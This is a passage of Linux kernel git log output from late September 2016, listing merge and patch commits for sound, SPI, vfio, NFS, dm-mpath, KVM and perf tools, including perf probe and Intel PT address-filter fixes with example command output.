'asoc/fix/arizona', 'asoc/fix/da7219', 'asoc/fix/nau8825', 'asoc/fix/rt5514' and 'asoc/fix/shift' into asoc-linus commit 4a1ff03faf0562665c5b0d7130658bf13d65426e Merge: 195dee56 61ab0d4 Author: Mark Brown Date: Thu Sep 29 12:43:44 2016 -0700 Merge remote-tracking branch 'asoc/fix/intel' into asoc-linus commit 195dee5647c76a4edcd762b82c626a990e349ff6 Merge: 08895a8 a3930ed Author: Mark Brown Date: Thu Sep 29 12:43:11 2016 -0700 Merge remote-tracking branch 'asoc/fix/dapm' into asoc-linus commit f26b3b2a87680b4be2a6b144929a9dd9c080c81c Author: Mark Brown Date: Thu Sep 29 11:22:52 2016 -0700 ASoC: fsl: Fix lockups with recent cache changes The recent series of changes to the caching in the SSI driver have caused a number of problems to appear in some test systems. These are still not fully understood but we're coming up to the merge window so for now let's revert commit 7de2763d9b3 (ASoC: fsl_ssi: Remove .num_reg_defaults_raw from regmap_config) as backing that out seems to resolve the problem on affected systems. Reported-by: Maciej S. Szmigiero" Signed-off-by: Mark Brown Reviewed-by: Marek Vasut sound/soc/fsl/fsl_ssi.c | 3 +++ 1 file changed, 3 insertions(+) commit 61771468e0a567f007fc450725063bb9cf7eb199 Author: Christoph Hellwig Date: Sun Sep 11 15:31:26 2016 +0200 vfio_pci: use pci_alloc_irq_vectors Simplify the interrupt setup by using the new PCI layer helpers. Signed-off-by: Christoph Hellwig Signed-off-by: Alex Williamson drivers/vfio/pci/vfio_pci_intrs.c | 45 +++++++++---------------------------- drivers/vfio/pci/vfio_pci_private.h | 1 - 2 files changed, 10 insertions(+), 36 deletions(-) commit 0730bd2e2ade00d88647b13a0c17cde254ddf56e Author: Colin Ian King Date: Thu Sep 29 18:32:12 2016 +0100 ASoC: Intel: Skylake: fix memory leak of module on error exit path Currently there is a memory leak of module on a ENOMEM return path. Fix this by kfree'ing module before returning. Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-utils.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 76cce7e3a582e3a86becaa086f24277829e1e0f5 Author: Phil Reid Date: Thu Sep 29 10:41:02 2016 +0800 spi: sc18is602: Change gpiod_set_value to gpiod_set_value_cansleep To avoid warning when using i2c gpio expander change call to the cansleep variant. There should be no issue with sleeping in the drivers probe function. Signed-off-by: Phil Reid Signed-off-by: Mark Brown drivers/spi/spi-sc18is602.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4b9c75eaa4f35504c3ee28d3a354f7b6362dfbe8 Author: Kuninori Morimoto Date: Thu Sep 29 03:09:22 2016 +0000 ASoC: rsnd: add SNDRV_PCM_TRIGGER_SUSPEND/RESUME This patch adds SNDRV_PCM_TRIGGER_SUSPEND/RESUME. Otherwise, it breaks rsnd driver internal start/stop counter when suspend/resume. This issue was reported/tested by Hiep Tested-by: Hiep Cao Minh Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/core.c | 2 ++ 1 file changed, 2 insertions(+) commit 089bd46d8bc1fe5a28351e82e4adcaa5a40121b5 Author: Mika Westerberg Date: Thu Sep 29 09:45:20 2016 +0300 spi: pxa2xx: Fix build error because of missing header Kbuild test robot reports: drivers/spi/spi-pxa2xx.c: In function ‘setup_cs’: drivers/spi/spi-pxa2xx.c:1190:20: error: implicit declaration of function ‘desc_to_gpio’ ... Reason for this is the fact that those functions are declared in linux/gpio/consumer.h which is not included in the driver. Fix this by including it. Reported-by: kbuild test robot Signed-off-by: Mika Westerberg Signed-off-by: Mark Brown drivers/spi/spi-pxa2xx.c | 1 + 1 file changed, 1 insertion(+) commit 7ff89ac608d9e856cae6fa651553fa0709bf9c50 Author: Richard Guy Briggs Date: Thu Aug 18 12:05:25 2016 -0400 audit: add exclude filter extension to feature bitmap Add to the audit feature bitmap to indicate availability of the extension of the exclude filter to include PID, UID, AUID, GID, SUBJ_*. RFE: add additional fields for use in audit filter exclude rules https://github.com/linux-audit/audit-kernel/issues/5 Signed-off-by: Richard Guy Briggs Signed-off-by: Paul Moore include/uapi/linux/audit.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 41aad2a6d4fcdda8d73c9739daf7a9f3f49499d6 Merge: 6b652de d18019a Author: Ingo Molnar Date: Thu Sep 29 19:09:58 2016 +0200 Merge tag 'perf-core-for-mingo-20160929' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Pull perf/core improvements and fixes from Arnaldo Carvalho de Melo: User visible changes: --------------------- New features: - Add support for using symbols in address filters with Intel PT and ARM CoreSight (hardware assisted tracing facilities) (Adrian Hunter, Mathieu Poirier) Fixes: - Fix MMAP event synthesis for pre-existing threads when no hugetlbfs mount is in place (Adrian Hunter) - Don't ignore kernel idle symbols in 'perf script' (Adrian Hunter) - Assorted Intel PT fixes (Adrian Hunter) Improvements: - Fix handling of C++ symbols in 'perf probe' (Masami Hiramatsu) - Beautify sched_[gs]et_attr return value in 'perf trace' (Arnaldo Carvalho de Melo) Infrastructure changes: ----------------------- New features: - Add dwarf unwind 'perf test' for powerpc (Ravi Bangoria) Fixes: - Fix error paths in 'perf record' (Adrian Hunter) Documentation: - Update documentation info about quipper, a C++ parser for converting to/from perf.data/chromium profiling format (Simon Que) Build Fixes: Fix building in 32 bit platform with libbabeltrace (Wang Nan) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit a865880e20ca4d2df362f61c9ef51f0fc0273131 Author: Olga Kornievskaia Date: Fri Sep 23 17:24:03 2016 -0400 Retry operation on EREMOTEIO on an interrupted slot If an operation got interrupted, then since we don't know if the server processed it on not, we keep the seq#. Upon reuse of slot and seq# if we get reply from the cache (ie EREMOTEIO) then we need to retry the operation after bumping the seq# Signed-off-by: Olga Kornievskaia Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 3383c5c395386ac8e258b1a324c72ce850b84a9e Merge: 8da08ca 0eec880 Author: Takashi Iwai Date: Thu Sep 29 18:20:14 2016 +0200 Merge branch 'for-linus' into for-next commit 8ff232c1a819c2e98d85974a3bff0b7b8e2970ed Author: Hannes Reinecke Date: Wed Jul 15 13:23:24 2015 +0200 dm mpath: always return reservation conflict without failing over If dm-mpath encounters an reservation conflict it should not fail the path (as communication with the target is not affected) but should rather retry on another path. However, in doing so we might be inducing a ping-pong between paths, with no guarantee of any forward progress. And arguably a reservation conflict is an unexpected error, so we should be passing it upwards to allow the application to take appropriate steps. This change resolves a show-stopper problem seen with the pNFS SCSI layout because it is trivial to hit reservation conflict based failover loops without it. Doubts were raised about the implications of this change relative to products like IBM's SVC. But there is little point withholding a fix for Linux because a proprietary product may or may not have some issues in its implementation of how it interfaces with Linux. In the future, if there is glaring evidence that this change is certainly problematic we can revisit it. Signed-off-by: Hannes Reinecke Acked-by: Christoph Hellwig Tested-by: Christoph Hellwig Signed-off-by: Mike Snitzer # tweaked header drivers/md/dm-mpath.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit d9ab710b85310e4ba9295f2b494eda54cf1a355a Merge: 40a6d22 bf18db4 Author: Radim Krčmář Date: Thu Sep 29 16:26:52 2016 +0200 Merge tag 'kvm_mips_4.9_1' of git://git.kernel.org/pub/scm/linux/kernel/git/jhogan/kvm-mips into next MIPS KVM updates for v4.9 - A couple of fixes in preparation for supporting MIPS EVA host kernels. - MIPS SMP host & TLB invalidation fixes. commit 40a6d2208481b1d57c80b33110dbf78f271be5a6 Merge: 45ca877 fa73c3b Author: Radim Krčmář Date: Thu Sep 29 16:19:29 2016 +0200 Merge branch 'kvm-ppc-next' of git://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc into next PPC KVM updates for 4.9. - Fix for the bug that Thomas Huth found which caused guests to falsely report soft lockups, - other minor fixes from Thomas Huth and Dan Carpenter, - and a small optimization from Balbir Singh. commit d18019a53a07e009899ff6b8dc5ec30f249360d9 Author: Ravi Bangoria Date: Mon Sep 19 02:38:20 2016 -0400 perf tests: Add dwarf unwind test for powerpc The user stack dump feature was recently added for powerpc. But there was no test case available to test it. This test works same as on other architectures by preparing a stack frame on the perf test thread and comparing each frame by unwinding it. $ ./perf test 50 50: Test dwarf unwind : Ok User stack dump for powerpc: https://lkml.org/lkml/2016/4/28/482 Signed-off-by: Ravi Bangoria Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Anju T Sudhakar Cc: Josh Poimboeuf Cc: Masami Hiramatsu Cc: Matt Fleming Cc: Michael Ellerman Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Wang Nan Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1474267100-31079-1-git-send-email-ravi.bangoria@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/powerpc/Build | 1 + tools/perf/arch/powerpc/include/arch-tests.h | 13 ++++ tools/perf/arch/powerpc/include/perf_regs.h | 2 + tools/perf/arch/powerpc/tests/Build | 4 ++ tools/perf/arch/powerpc/tests/arch-tests.c | 15 +++++ tools/perf/arch/powerpc/tests/dwarf-unwind.c | 62 ++++++++++++++++++ tools/perf/arch/powerpc/tests/regs_load.S | 94 ++++++++++++++++++++++++++++ tools/perf/tests/Build | 2 +- tools/perf/tests/dwarf-unwind.c | 2 +- 9 files changed, 193 insertions(+), 2 deletions(-) commit d5a00296a63fdd049273f86d0a0cdef6b230f8e6 Author: Masami Hiramatsu Date: Sat Sep 24 00:35:31 2016 +0900 perf probe: Match linkage name with mangled name Match linkage name with mangled name if exists. The linkage_name is used for storing mangled name of the object. Thus, this allows 'perf probe' to find appropriate probe point from mangled symbol as below. E.g. without this fix: ---- $ perf probe -x /usr/lib64/libstdc++.so.6 \ -D _ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv Probe point '_ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv' not found. Error: Failed to add events. ---- With this fix, perf probe can find the correct one. ---- $ perf probe -x /usr/lib64/libstdc++.so.6 \ -D _ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv p:probe_libstdc/_ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv /usr/lib64/libstdc++.so.6.0.22:0x8ca60 ---- Committer notes: After the fix, setting it for real (no -D/--definition, that amounts to a --dry-run): # perf probe -x /usr/lib64/libstdc++.so.6 _ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv Added new event: probe_libstdc:_ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv (on _ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv in /usr/lib64/libstdc++.so.6.0.22) You can now use it in all perf tools, such as: perf record -e probe_libstdc:_ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv -aR sleep 1 # perf probe -l probe_libstdc:* probe_libstdc:_ZNKSt15basic_fstreamXXIwSt11char_traitsIwEE7is_openEv (on is_open@libstdc++-v3/include/fstream in /usr/lib64/libstdc++.so.6.0.22) # Reported-by: Thomas Gleixner Signed-off-by: Masami Hiramatsu Tested-by: Arnaldo Carvalho de Melo Tested-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/147464493162.29804.16715053505069382443.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/dwarf-aux.c | 28 ++++++++++++++++++++++++++-- tools/perf/util/dwarf-aux.h | 3 +++ 2 files changed, 29 insertions(+), 2 deletions(-) commit 35726d3a4ca9ce10811032baf6fa0b3529aac087 Author: Masami Hiramatsu Date: Sat Sep 24 00:35:16 2016 +0900 perf probe: Fix to cut off incompatible chars from group name Cut off the characters which can not use for group name of uprobes when making it based on executable filename. For example, if the exec name is libstdc++.so, without this fix perf probe generates "probe_libstdc++" as the group name, but it is failed to set because '+' can not be used for group name. With this fix perf accepts only alphabet, number or '_' for group name, thus perf generates "probe_libstdc" as the group name. E.g. with this fix, you can see the event name has no "+". ---- $ ./perf probe -x /usr/lib64/libstdc++.so.6 -D is_open p:probe_libstdc/is_open /usr/lib64/libstdc++.so.6.0.22:0x8ca80 p:probe_libstdc/is_open_1 /usr/lib64/libstdc++.so.6.0.22:0x8ca70 p:probe_libstdc/is_open_2 /usr/lib64/libstdc++.so.6.0.22:0x8ca60 p:probe_libstdc/is_open_3 /usr/lib64/libstdc++.so.6.0.22:0xb0ad0 p:probe_libstdc/is_open_4 /usr/lib64/libstdc++.so.6.0.22:0xecca9 ---- Committer note: Before this fix: # perf probe -x /usr/lib64/libstdc++.so.6 is_open Failed to write event: Invalid argument Error: Failed to add events. # After the fix: # perf probe -x /usr/lib64/libstdc++.so.6 is_open Added new events: probe_libstdc:is_open (on is_open in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_1 (on is_open in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_2 (on is_open in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_3 (on is_open in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_4 (on is_open in /usr/lib64/libstdc++.so.6.0.22) You can now use it in all perf tools, such as: perf record -e probe_libstdc:is_open_4 -aR sleep 1 # perf probe -l probe_libstdc:* probe_libstdc:is_open (on is_open@libstdc++-v3/include/fstream in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_1 (on is_open@libstdc++-v3/include/fstream in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_2 (on is_open@libstdc++-v3/include/fstream in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_3 (on is_open@src/c++98/basic_file.cc in /usr/lib64/libstdc++.so.6.0.22) probe_libstdc:is_open_4 (on stdio_filebuf:5@include/ext/stdio_filebuf.h in /usr/lib64/libstdc++.so.6.0.22) # Signed-off-by: Masami Hiramatsu Tested-by: Arnaldo Carvalho de Melo Tested-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/147464491667.29804.9553638175441827970.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-event.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 0ad45b33c58dca60dec7e1fb44766753bc4a7a38 Author: Masami Hiramatsu Date: Sat Sep 24 00:35:07 2016 +0900 perf probe: Skip if the function address is 0 Skip probes if the entry address of the target function is 0. This can happen when we're handling C++ debuginfo files. E.g. without this fix, below case still fail. ---- $ ./perf probe -x /usr/lib64/libstdc++.so.6 -vD is_open probe-definition(0): is_open symbol:is_open file:(null) line:0 offset:0 return:0 lazy:(null) 0 arguments symbol:catch file:(null) line:0 offset:0 return:0 lazy:(null) symbol:throw file:(null) line:0 offset:0 return:0 lazy:(null) symbol:rethrow file:(null) line:0 offset:0 return:0 lazy:(null) Open Debuginfo file: /usr/lib/debug/usr/lib64/libstdc++.so.6.0.22.debug Try to find probe point from debuginfo. Matched function: is_open [295df] found inline addr: 0x8ca80 Probe point found: is_open+0 found inline addr: 0x8ca70 Probe point found: is_open+0 found inline addr: 0x8ca60 Probe point found: is_open+0 Matched function: is_open [6527f] Matched function: is_open [9fe8a] Probe point found: is_open+0 Matched function: is_open [19710b] found inline addr: 0xecca9 Probe point found: stdio_filebuf+57 found inline addr: 0x0 Probe point found: swap+0 Matched function: is_open [19fc9d] Probe point found: is_open+0 Found 7 probe_trace_events. p:probe_libstdc++/is_open /usr/lib64/libstdc++.so.6.0.22:0x8ca80 p:probe_libstdc++/is_open_1 /usr/lib64/libstdc++.so.6.0.22:0x8ca70 p:probe_libstdc++/is_open_2 /usr/lib64/libstdc++.so.6.0.22:0x8ca60 p:probe_libstdc++/is_open_3 /usr/lib64/libstdc++.so.6.0.22:0xb0ad0 p:probe_libstdc++/is_open_4 /usr/lib64/libstdc++.so.6.0.22:0xecca9 Failed to synthesize probe trace event. Error: Failed to add events. Reason: Invalid argument (Code: -22) ---- This is because some instances have entry_pc == 0 (see 19710b and 19fc9d). With this fix, those are skipped. ---- $ ./perf probe -x /usr/lib64/libstdc++.so.6 -D is_open p:probe_libstdc++/is_open /usr/lib64/libstdc++.so.6.0.22:0x8ca80 p:probe_libstdc++/is_open_1 /usr/lib64/libstdc++.so.6.0.22:0x8ca70 p:probe_libstdc++/is_open_2 /usr/lib64/libstdc++.so.6.0.22:0x8ca60 p:probe_libstdc++/is_open_3 /usr/lib64/libstdc++.so.6.0.22:0xb0ad0 p:probe_libstdc++/is_open_4 /usr/lib64/libstdc++.so.6.0.22:0xecca9 ---- Signed-off-by: Masami Hiramatsu Tested-by: Arnaldo Carvalho de Melo Tested-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/147464490707.29804.14277897643725143867.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-finder.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit f8da4b5155ed9a639ee4250746b5f7ffa6302bf6 Author: Masami Hiramatsu Date: Sat Sep 24 00:34:57 2016 +0900 perf probe: Ignore the error of finding inline instance Ignore the error when the perf probe failed to find inline function instances. This can happen when we search a method in C++ debuginfo. If there is completely no instance in target, perf probe can return an error. E.g. without this fix: ---- $ perf probe -x /usr/lib64/libstdc++.so.6 -vD showmanyc probe-definition(0): showmanyc symbol:showmanyc file:(null) line:0 offset:0 return:0 lazy:(null) 0 arguments symbol:catch file:(null) line:0 offset:0 return:0 lazy:(null) symbol:throw file:(null) line:0 offset:0 return:0 lazy:(null) symbol:rethrow file:(null) line:0 offset:0 return:0 lazy:(null) Open Debuginfo file: /usr/lib/debug/usr/lib64/libstdc++.so.6.0.22.debug Try to find probe point from debuginfo. Matched function: showmanyc An error occurred in debuginfo analysis (-2). Trying to use symbols. Failed to find symbol showmanyc in /usr/lib64/libstdc++.so.6.0.22 Error: Failed to add events. Reason: No such file or directory (Code: -2) ---- This is because one of showmanyc is defined as inline but no instance found. With this fix, it is succeeded to show as below. ---- $ perf probe -x /usr/lib64/libstdc++.so.6 -D showmanyc p:probe_libstdc++/showmanyc /usr/lib64/libstdc++.so.6.0.22:0xb0e50 p:probe_libstdc++/showmanyc_1 /usr/lib64/libstdc++.so.6.0.22:0xc7c40 p:probe_libstdc++/showmanyc_2 /usr/lib64/libstdc++.so.6.0.22:0xecfa0 p:probe_libstdc++/showmanyc_3 /usr/lib64/libstdc++.so.6.0.22:0x115fc0 p:probe_libstdc++/showmanyc_4 /usr/lib64/libstdc++.so.6.0.22:0x121a90 ---- Signed-off-by: Masami Hiramatsu Tested-by: Arnaldo Carvalho de Melo Tested-by: Jiri Olsa Cc: David Ahern Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/147464489775.29804.3190419491209875936.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-finder.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 2acee108f58045d07475516852d4282ab73904dc Author: Adrian Hunter Date: Fri Sep 23 17:38:48 2016 +0300 perf intel-pt: Fix decoding when there are address filters Due to errata SKL014 "Intel PT TIP.PGD May Not Have Target IP Payload", the Intel PT decoder needs to match address filters against TIP.PGD packets. Parse the address filters and implement the decoder's 'pgd_ip()' callback to match the IP against the filter regions. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-17-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/intel-pt.c | 82 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) commit 9f1d122b528ef3ffcef1bdcf6a3dddf9450a864e Author: Adrian Hunter Date: Fri Sep 23 17:38:47 2016 +0300 perf intel-pt: Enable decoder to handle TIP.PGD with missing IP When address filters are used, the decoder must detect the end of a filter region (or a branch into a tracestop region) by matching Packet Generation Disabled (TIP.PGD) packets against the object code using the IP given in the packet. However, due to errata SKL014 "Intel PT TIP.PGD May Not Have Target IP Payload", that IP may not be present. Enable the decoder to handle that by adding a new callback function 'pgd_ip()' which indicates whether the IP is not traced, in which case that is the point where the trace was disabled. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-16-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo .../perf/util/intel-pt-decoder/intel-pt-decoder.c | 30 ++++++++++++++++++++++ .../perf/util/intel-pt-decoder/intel-pt-decoder.h | 1 + 2 files changed, 31 insertions(+) commit 2b9e32c47fd3edb0373067de7a151775b0e005c2 Author: Adrian Hunter Date: Fri Sep 23 17:38:46 2016 +0300 perf intel-pt: Read address filter from AUXTRACE_INFO event Read the address filter from the AUXTRACE_INFO event in preparation for using it to assist in decoding. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-15-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/intel-pt.c | 51 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit c093f308cea3eb4be3ed6e7e9ad54bf67a26abe4 Author: Adrian Hunter Date: Fri Sep 23 17:38:45 2016 +0300 perf intel-pt: Record address filter in AUXTRACE_INFO event The address filter is needed to help decode the trace, so store it in the AUXTRACE_INFO event. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-14-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/x86/util/intel-pt.c | 51 ++++++++++++++++++++++++++++++++++--- tools/perf/util/intel-pt.h | 3 +-- 2 files changed, 48 insertions(+), 6 deletions(-) commit 40b746a06332799786ba557fe84184428bef62fb Author: Adrian Hunter Date: Fri Sep 23 17:38:44 2016 +0300 perf intel-pt: Add a helper function for processing AUXTRACE_INFO Add a helper function 'intel_pt_has()' to make it easier to determine which members the AUXTRACE_INFO event contains. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-13-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/intel-pt.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 4d34e10a9f9a38c611cac0deda8f91b064282747 Author: Adrian Hunter Date: Fri Sep 23 17:38:43 2016 +0300 perf intel-pt: Fix missing error codes processing auxtrace_info Fix 2 places where the err variable was not being set. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-12-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/intel-pt.c | 2 ++ 1 file changed, 2 insertions(+) commit fa8025c37454501a2df4a90ae84ff01f4aff8ba8 Author: Adrian Hunter Date: Fri Sep 23 17:38:42 2016 +0300 perf intel-pt: Add support for recording the max non-turbo ratio Previously the maximum non-turbo ratio was calculated from TSC assuming a 100 MHz multiplier which is correct for current hardware supporting Intel PT. However more recent kernels also now export the value, so use that in preference to the calculated value. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-11-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/x86/util/intel-pt.c | 6 ++++++ tools/perf/util/intel-pt.c | 14 +++++++++++++- tools/perf/util/intel-pt.h | 1 + 3 files changed, 20 insertions(+), 1 deletion(-) commit 810c398bc09b2f2dfde52a7d2483a710612c5fb8 Author: Adrian Hunter Date: Fri Sep 23 17:38:41 2016 +0300 perf intel-pt: Fix snapshot overlap detection decoder errors Fix occasional decoder errors decoding trace data collected in snapshot mode. Snapshot mode can take successive snapshots of trace which might overlap. The decoder checks whether there is an overlap but only looks at the current and previous buffer. However buffers that do not contain synchronization (i.e. PSB) packets cannot be decoded or used for overlap checking. That means the decoder actually needs to check overlaps between the current buffer and the previous buffer that contained usable data. Make that change. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Cc: stable@vger.kernel.org # v4.3+ Link: http://lkml.kernel.org/r/1474641528-18776-10-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/intel-pt.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit f9655200ecd2d6cc13900a727150177b94ca229e Author: Adrian Hunter Date: Fri Sep 23 17:38:40 2016 +0300 perf probe: Increase debug level of SDT debug messages Two SDT debug messages can occur for every DSO which is too noisy. Consequently, increase debug level of SDT messages. Signed-off-by: Adrian Hunter Acked-by: Masami Hiramatsu Cc: Jiri Olsa Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-9-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/build-id.c | 4 ++-- tools/perf/util/probe-file.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 1b36c03e356936d62abbe2accaae1573d3b66f14 Author: Adrian Hunter Date: Fri Sep 23 17:38:39 2016 +0300 perf record: Add support for using symbols in address filters Symbols come from either the DSO or /proc/kallsyms for the kernel. Details of the functionality can be found in Documentation/perf-record.txt. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-8-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-record.txt | 55 ++- tools/perf/builtin-record.c | 14 +- tools/perf/util/auxtrace.c | 737 +++++++++++++++++++++++++++++++ tools/perf/util/auxtrace.h | 54 +++ 4 files changed, 857 insertions(+), 3 deletions(-) commit cd67f99fe90dcf515f1c70c474b84d56b6236cbb Author: Adrian Hunter Date: Fri Sep 23 17:38:38 2016 +0300 perf symbols: Add dso__last_symbol() Add a function to find the last symbol in a DSO. This will be used when parsing address filters to calculate a region that includes the entire DSO. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-7-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/symbol.c | 15 +++++++++++++++ tools/perf/util/symbol.h | 1 + 2 files changed, 16 insertions(+) commit 5c01ad60b8a23f8ff59b9a5a756f07ed08f0b6d1 Author: Adrian Hunter Date: Fri Sep 23 17:38:37 2016 +0300 perf record: Fix error paths Some error paths do not tidy-up. Fix that. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-6-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-record.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 394c01ed8aafdf0f14fb18c6d320d8a783da243c Author: Adrian Hunter Date: Fri Sep 23 17:38:36 2016 +0300 perf record: Rename label 'out_symbol_exit' In preparation for fixing the error paths, rename label 'out_symbol_exit' to be 'out' because that error path can be used irrespective of whether symbols (or anything else) has been initialized. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-5-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-record.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit e7a06a5353574cac3a34211bd4e514bb8d00d766 Author: Adrian Hunter Date: Fri Sep 23 17:38:35 2016 +0300 perf script: Fix vanished idle symbols Commit 608c34de0b3d ("perf symbols: Mark if a symbol is idle in the library") causes idle symbols to vanish from perf script output. That is because print functions suppress symbols marked as 'idle'. However, suppression of 'idle' functions is only used by 'perf top' and 'perf top' does not use the print functions. Consequently that functionality can simply be removed from the print functions. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Fixes: 608c34de0b3d ("perf symbols: Mark if a symbol is idle in the library") Link: http://lkml.kernel.org/r/1474641528-18776-4-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/evsel_fprintf.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 1e85748437ba5fd05abe5396d67062e0b4b502f2 Author: Mathieu Poirier Date: Fri Sep 16 08:44:05 2016 -0600 perf evsel: Add support for address filters This patch makes it possible to use the current filter framework with address filters. That way address filters for HW tracers such as CoreSight and Intel PT can be communicated to the kernel drivers. Signed-off-by: Mathieu Poirier Acked-by: Adrian Hunter Cc: Alexander Shishkin Cc: Jiri Olsa Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474037045-31730-4-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/evsel.c | 5 +++++ tools/perf/util/evsel.h | 2 ++ tools/perf/util/parse-events.c | 39 ++++++++++++++++++++++++++++++++++----- 3 files changed, 41 insertions(+), 5 deletions(-) commit 